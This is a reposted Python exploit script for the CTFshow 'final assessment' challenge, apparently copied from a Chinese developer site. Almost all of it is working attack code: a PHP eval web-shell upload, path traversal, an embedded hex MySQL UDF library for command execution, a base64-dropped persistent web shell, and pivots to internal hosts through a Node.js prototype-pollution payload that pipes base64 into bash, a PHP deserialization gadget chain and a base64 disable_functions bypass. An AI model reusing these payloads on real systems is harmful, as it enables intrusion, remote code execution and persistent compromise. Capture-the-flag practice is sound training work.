IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFshow_终极考核_EXP -> 正文阅读

[PHP知识库]CTFshow_终极考核_EXP

EXP ALL IN HERE

exp exp exp ヾ(・ω・`。)

import requests
import base64
import re
import time


def getShell(url):
    burp0_url = url + "system36d/users.php?action=upload"
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary1qlfRm0gVIoKhBvA"}
    burp0_data = "\r\n------WebKitFormBoundary1qlfRm0gVIoKhBvA\r\nContent-Disposition: form-data; name=\"file\"; filename=\"backup.dat\"\r\nContent-Type: application/octet-stream\r\n\r\n<?=eval($_POST[1])?>a113@bbb123|a114@bbb1234|admin@flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}|a2@bbb123|\r\n------WebKitFormBoundary1qlfRm0gVIoKhBvA--\r\n\r\n"
    res = requests.post(url = burp0_url, headers=burp0_headers, data=burp0_data)
    print(res.text)

    burp0_url = url + "system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://c1be7167-28a0-4504-a5cd-04ca07fe2de6.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"key": "key_is_here_you_know", "file": "../db/data_you_never_know.db", "1": "file_put_contents('udf.txt',hex2bin('7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000'));echo shell_exec('cp udf.txt /usr/lib/mariadb/plugin/udf.so');echo shell_exec(\"echo PD89ZXZhbCgkX1BPU1RbMV0pPz4=|base64 -d>/var/www/html/1.php\");echo shell_exec('ip addr');"}

    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    print(res.text)
    if '172' in res.text:
        result = re.findall(r'172\.2\.([0-9]*)\.4\/24',res.text) 
        print(result)
        return result[0]

def runPython(url, payload):
    burp0_url = url + "1.php"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"1": f"echo `python3 -c \"{payload}\"`;"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    print(res.text)

def runPHPshell_first(url, payload):
    burp0_url = url + "1.php"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"1": f"eval(base64_decode({payload}));"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    print(res.text)

def runMysql_root_first(url, sql_payload):
    payload = r"""
    function query($sql){{
    $host='localhost';
    $username='root';
    $password='root';
    $database='ctfshow';

    $ret = array();

    $conn = new mysqli($host, $username, $password, $database);

    if ($conn->connect_error) {{
    die("连接失败: " . $conn->connect_error);
    }}

    $res = $conn->query($sql);
    if($res){{
        while ($row = $res->fetch_array(MYSQLI_NUM)) {{
            array_push($ret,$row);
        }}
        $res->close();
    }}
    else{{
    echo $conn->error;
    }}

    $conn->close();
    return $ret;
    }}

    $ret=query("{}");
    print_r(($ret));
    """.format(sql_payload)

    burp0_url = url + "1.php"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"1": f"{payload}"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    print((res.text))

def nodejsShell(url, payload, net_id):
    payload = """
    {"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \\" echo """ + payload.decode('utf8') +"""|base64 -d|bash \\"')"}}}"""
    payload = base64.b64encode(payload.encode()).decode('utf8')

    burp0_url = url +"1.php"
    burp0_cookies = {"UM_distinctid": "17b2b6330782cc-03724ea2851c3c-4343363-144000-17b2b633079ca2"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://b79ffce6-20e8-463a-849d-d5c8a96fa1fc.challenge.ctf.show/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"1": f"echo shell_exec('curl \"http://172.2.{net_id}.5:3000/login\" -X POST -H \"Content-Type: application/json\" -d \"`echo {payload}|base64 -d`\"');"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) 
    if "ret_code" in res.text:
        print("The first is Success")
    else:
        print(res.text)
    
    burp0_data = {"1": f"echo shell_exec('curl \"http://172.2.{net_id}.5:3000/\"');"}
    res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) 
    if "title is not defined" in res.text:
        print("The Second is Success\n")
    else:
        print(res.text)

def runPHP_eval_second(url, payload, net_id):
    burp0_url = url + "1.php"
    burp0_headers = {"Accept-Encoding": "gzip, deflate", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close"}
    
    burp0_data = {"1": "echo shell_exec('curl \"http://172.2."+net_id+".5:8888/index.php?r=site/unserialize&key=flag_663=ctfshow\\{fa5cc1fb0bfc986d1ef150269c0de197\\}\" -d \"UnserializeForm[ctfshowUnserializeData]=O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00output%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A5%3A%22jiang%22%3B%7Ds%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A28%3A%22GuzzleHttp%5CPsr7%5CAppendStream%22%3A2%3A%7Bs%3A37%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00streams%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A29%3A%22GuzzleHttp%5CPsr7%5CCachingStream%22%3A2%3A%7Bs%3A43%3A%22%00GuzzleHttp%5CPsr7%5CCachingStream%00remoteStream%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bb%3A0%3B%7Ds%3A6%3A%22stream%22%3BO%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3A3%3A%7Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00source%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A192%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A37%3A%22function%28%29%7Beval%28%24_REQUEST%5B2%5D%29%3Bdie%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000006cfe4a45000000005bbc4366%22%3B%7D%7Ds%3A32%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00size%22%3Bi%3A-10%3Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00buffer%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A1%3A%22j%22%3B%7D%7D%7D%7Ds%3A38%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00seekable%22%3Bb%3A1%3B%7D%7D%7D%7D&2='.$_REQUEST[22].'%3b\"');", "22": f"eval(base64_decode({payload}));"}
    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print(res.text)
    save_txt(res.text)

def runPHP_eval_second_bypass(url, pwn_shell, net_id):
    phpBypass_second = f"""
    $myfile = fopen("/tmp/newfile.txt", "w") or die("Unable to open file!");
    $txt = base64_decode("PD9waHANCmZ1bmN0aW9uIHB3bigkY21kKSB7DQogICAgZGVmaW5lKCdMT0dHSU5HJywgZmFsc2UpOw0KICAgIGRlZmluZSgnQ0hVTktfREFUQV9TSVpFJywgMHg2MCk7DQogICAgZGVmaW5lKCdDSFVOS19TSVpFJywgWkVORF9ERUJVR19CVUlMRCA/IENIVU5LX0RBVEFfU0laRSArIDB4MjAgOiBDSFVOS19EQVRBX1NJWkUpOw0KICAgIGRlZmluZSgnRklMVEVSX1NJWkUnLCBaRU5EX0RFQlVHX0JVSUxEID8gMHg3MCA6IDB4NTApOw0KICAgIGRl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AgIGRvIHsNCiAgICAgICAgICAgICRmX2VudHJ5ID0gJHRoaXMtPnJlYWQoJGFkZHIpOw0KICAgICAgICAgICAgJGZfbmFtZSA9ICR0aGlzLT5yZWFkKCRmX2VudHJ5LCA2KTsNCiAgICAgICAgICAgIGlmKCRmX25hbWUgPT09IDB4NmQ2NTc0NzM3OTczKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZWFkKCRhZGRyICsgOCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkYWRkciArPSAweDIwOw0KICAgICAgICB9IHdoaWxlKCRmX2VudHJ5ICE9PSAwKTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGNsZWFudXAoKSB7DQogICAgICAgICR0aGlzLT5oZnAgPSBmb3BlbigncGhwOi8vbWVtb3J5JywgJ3cnKTsNCiAgICAgICAgZndyaXRlKCR0aGlzLT5oZnAsIHBhY2soJ1FRJywgMCwgJHRoaXMtPmFiY19hZGRyKSk7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgRklMVEVSX1NJWkUgLSAweDEwOyAkaSsrKSB7DQogICAgICAgICAgICBmd3JpdGUoJHRoaXMtPmhmcCwgIlx4MDAiKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gc3RyMnB0cigkcCA9IDAsICRuID0gOCkgew0KICAgICAgICAkYWRkcmVzcyA9IDA7DQogICAgICAgIGZvcigkaiA9ICRuIC0gMTsgJGogPj0gMDsgJGotLSkgew0KICAgICAgICAgICAgJGFkZHJlc3MgPDw9IDg7DQogICAgICAgICAgICAkYWRkcmVzcyB8PSBvcmQoJHRoaXMtPmFiY1skcCArICRqXSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRhZGRyZXNzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcHRyMnN0cigkcHRyLCAkbiA9IDgpIHsNCiAgICAgICAgJG91dCA9ICcnOw0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbjsgJGkrKykgew0KICAgICAgICAgICAgJG91dCAuPSBjaHIoJHB0ciAmIDB4ZmYpOw0KICAgICAgICAgICAgJHB0ciA+Pj0gODsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJG91dDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGxvZygkZm9ybWF0LCAkdmFsID0gJycpIHsNCiAgICAgICAgaWYoTE9HR0lORykgew0KICAgICAgICAgICAgcHJpbnRmKCJ7JGZvcm1hdH1cbiIsICR2YWwpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgc3RhdGljIGZ1bmN0aW9uIGFsbG9jKCRzaXplKSB7DQogICAgICAgIHJldHVybiBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgJHNpemUpKTsNCiAgICB9DQp9");
    fwrite($myfile, $txt);
    fclose($myfile);

    $myfileContent = file_get_contents("/tmp/newfile.txt");
    $txt = base64_decode("{pwn_shell.decode('utf8')}");
    $myfileContent = $myfileContent . $txt;
    file_put_contents("/tmp/newfile.txt", $myfileContent);

    require_once("/tmp/newfile.txt");
    """

    phpBypass_second = base64.b64encode(phpBypass_second.encode())

    burp0_url = url + "1.php"
